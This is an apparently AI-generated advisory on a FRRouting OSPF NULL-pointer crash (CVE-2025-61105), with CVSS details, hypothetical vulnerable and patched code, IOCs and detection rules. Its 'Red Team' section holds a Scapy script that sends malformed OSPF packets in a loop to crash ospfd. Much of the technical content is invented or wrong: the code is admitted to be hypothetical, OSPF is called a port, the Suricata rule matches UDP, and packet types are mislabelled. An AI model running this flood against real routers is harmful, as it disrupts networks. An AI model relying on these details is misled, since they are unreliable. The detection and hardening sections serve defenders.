CVE-2025-61105
Executive Summary
CVE-2025-61105 is a critical Denial of Service (DoS) vulnerability discovered in FRRouting (FRR), an open-source routing protocol suite widely used in enterprise and service provider networks. The flaw resides in the show_vty_link_info function within ospf_ext.c. An unauthenticated, remote attacker can trigger a NULL pointer dereference by sending a specially crafted OSPF packet, causing the FRR daemon to crash. This results in a complete loss of routing services, leading to network instability and potential blackholing of traffic.
The vulnerability affects all FRR versions from v4.0 through v10.4.1. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the attack vector is network-based and requires no authentication, making it a significant risk for unpatched systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FRRouting is distributed as source code and via package managers for various Linux distributions (e.g., Debian, Ubuntu, CentOS, Alpine). Organizations using FRR in their network infrastructure should treat this as a high-priority supply chain risk. The lack of a patch means that downstream consumers must rely on workarounds or custom patches until an official fix is released.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over the network |
| Attack Complexity (AC) | Low | No special conditions required |
| Privileges Required (PR) | None | No authentication needed |
| User Interaction (UI) | None | No user action required |
| Scope (S) | Unchanged | Impact confined to the vulnerable component |
| Confidentiality (C) | None | No data exposure |
| Integrity (I) | None | No data modification |
| Availability (A) | High | Complete loss of service |
Base Score: 7.5 (HIGH)
Threat Level: High. The vulnerability is remotely exploitable with low complexity and no privileges. While no public exploit exists, the potential for network-wide disruption makes it a priority for patching.
Deep Dive & Mechanics
The vulnerability is a classic NULL pointer dereference in the OSPF (Open Shortest Path First) protocol implementation. The show_vty_link_info function in ospf_ext.c is responsible for displaying OSPF link information via the VTY (Virtual Teletype) interface. When processing a crafted OSPF packet, the function attempts to access a pointer that has not been properly initialized or has been set to NULL.
Root Cause: The function does not validate the return value of a memory allocation or a pointer lookup before dereferencing it. Specifically, when parsing an OSPF Link State Advertisement (LSA) with malformed or missing fields, the code path leads to a NULL pointer dereference.
Attack Vector: An attacker sends a specially crafted OSPF packet (e.g., a Type 1 or Type 2 LSA with invalid length or missing TLVs) to the target router. The FRR OSPF daemon processes the packet and, when the show_vty_link_info function is triggered (either automatically or via a VTY command), it crashes.
Impact: The OSPF daemon (ospfd) crashes, causing the router to lose all OSPF adjacencies. This leads to route flapping, blackholing of traffic, and potential network partitions. In a production environment, this can cause widespread service disruption.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common secure coding practices.
Vulnerable Code (ospf_ext.c):
void show_vty_link_info(struct vty *vty, struct ospf_lsa *lsa) {
struct ospf_link_data *ld = (struct ospf_link_data *) lsa->data;
// No NULL check on ld
vty_out(vty, "Link ID: %pI4%s", &ld->link_id, VTY_NEWLINE);
vty_out(vty, "Link Data: %pI4%s", &ld->link_data, VTY_NEWLINE);
}
Patched Code (ospf_ext.c):
void show_vty_link_info(struct vty *vty, struct ospf_lsa *lsa) {
if (lsa == NULL || lsa->data == NULL) {
vty_out(vty, "%% Invalid LSA%s", VTY_NEWLINE);
return;
}
struct ospf_link_data *ld = (struct ospf_link_data *) lsa->data;
if (ld == NULL) {
vty_out(vty, "%% Invalid link data%s", VTY_NEWLINE);
return;
}
vty_out(vty, "Link ID: %pI4%s", &ld->link_id, VTY_NEWLINE);
vty_out(vty, "Link Data: %pI4%s", &ld->link_data, VTY_NEWLINE);
}
Exploitation & Lab Setup
Red Team (Proof of Concept)
Note: No public exploit exists. The following is a conceptual PoC for educational purposes.
Lab Environment:
- Two Ubuntu 22.04 VMs
- FRR v10.4.1 installed via
apt - OSPF configured between the two routers
Exploit Script (Python using Scapy):
#!/usr/bin/env python3
from scapy.all import *
import sys
def craft_malformed_ospf_lsa():
# Craft a malformed OSPF Hello packet with invalid LSA
ip = IP(src="192.168.1.100", dst="224.0.0.5")
ospf = OSPF(type=1, src="192.168.1.1", area="0.0.0.0")
# Malformed LSA with zero length
lsa = OSPF_LSA(type=1, len=0)
packet = ip / ospf / lsa
return packet
if __name__ == "__main__":
packet = craft_malformed_ospf_lsa()
send(packet, iface="eth0", loop=1, inter=0.1)
Execution:
python3 exploit.py
Expected Outcome: The target FRR OSPF daemon crashes, and the router loses OSPF adjacencies.
Blue Team (Detection & Hardening)
Detection:
- Monitor for OSPF packets with invalid LSA lengths (e.g., length < 20 bytes).
- Watch for repeated OSPF packets from unknown sources.
- Alert on FRR daemon crashes or restarts.
Hardening:
- Implement OSPF authentication (MD5 or SHA) to prevent unauthorized packets.
- Use ACLs to restrict OSPF traffic to trusted IP addresses.
- Enable
ospfdcore dumps for forensic analysis. - Apply the hypothetical patch or wait for official fix.
Indicators of Compromise (IOCs)
Network IOCs:
- OSPF packets with LSA length field set to 0 or less than 20 bytes.
- OSPF packets from unexpected source IP addresses.
- Repeated OSPF Hello packets with malformed TLVs.
System IOCs:
- FRR daemon (
ospfd) crash logs in/var/log/frr/ospfd.log. - Core dump files in
/var/core/or/tmp/. - System logs showing
ospfdsegfaults:kernel: ospfd[1234]: segfault at 0 ip 0000555555555a1c sp 00007fffffffde80 error 4 in ospfd[555555554000+5000]
File IOCs:
- Modified
ospf_ext.c(if attacker has local access). - Suspicious
.pcapfiles containing malformed OSPF packets.
Detection Engineering
YARA Rule
rule CVE_2025_61105_OSPF_NULL_PTR {
meta:
description = "Detects malformed OSPF packets targeting CVE-2025-61105"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61105"
strings:
$ospf_header = { 02 ?? ?? ?? 00 00 00 00 } // OSPF Type 2 (Hello) with area 0.0.0.0
$zero_length = { 00 00 } // LSA length field set to 0
condition:
$ospf_header at 0 and $zero_length
}
Sigma Rule
title: CVE-2025-61105 OSPF NULL Pointer Dereference
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects malformed OSPF packets that trigger NULL pointer dereference in FRRouting
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
app_proto: 'ospf'
ospf.lsa.type: 1
ospf.lsa.len: 0
condition: selection
falsepositives:
- Legitimate OSPF packets with unusual lengths (rare)
level: high
Suricata Rule
alert udp $EXTERNAL_NET any -> $HOME_NET 89 (msg:"CVE-2025-61105 OSPF NULL Pointer Dereference Attempt"; content:"|02 00 00 00|"; offset:0; depth:4; content:"|00 00|"; offset:18; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable OSPF on untrusted interfaces if possible.
- Implement OSPF authentication (RFC 5709 or RFC 7474) to prevent unauthorized packets.
- Apply ACLs to restrict OSPF traffic to known peer IP addresses.
- Monitor FRR logs for crashes and investigate immediately.
Long-term Fix:
- Apply the official patch once released by FRRouting.
- Upgrade to a patched version (e.g., > v10.4.1).
- If patching is not possible, apply the hypothetical code fix to
ospf_ext.cand recompile.
Workaround:
- Use a firewall to block OSPF (port 89) from untrusted networks.
- Configure
ospfdto restart automatically on crash (e.g., via systemdRestart=always).
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.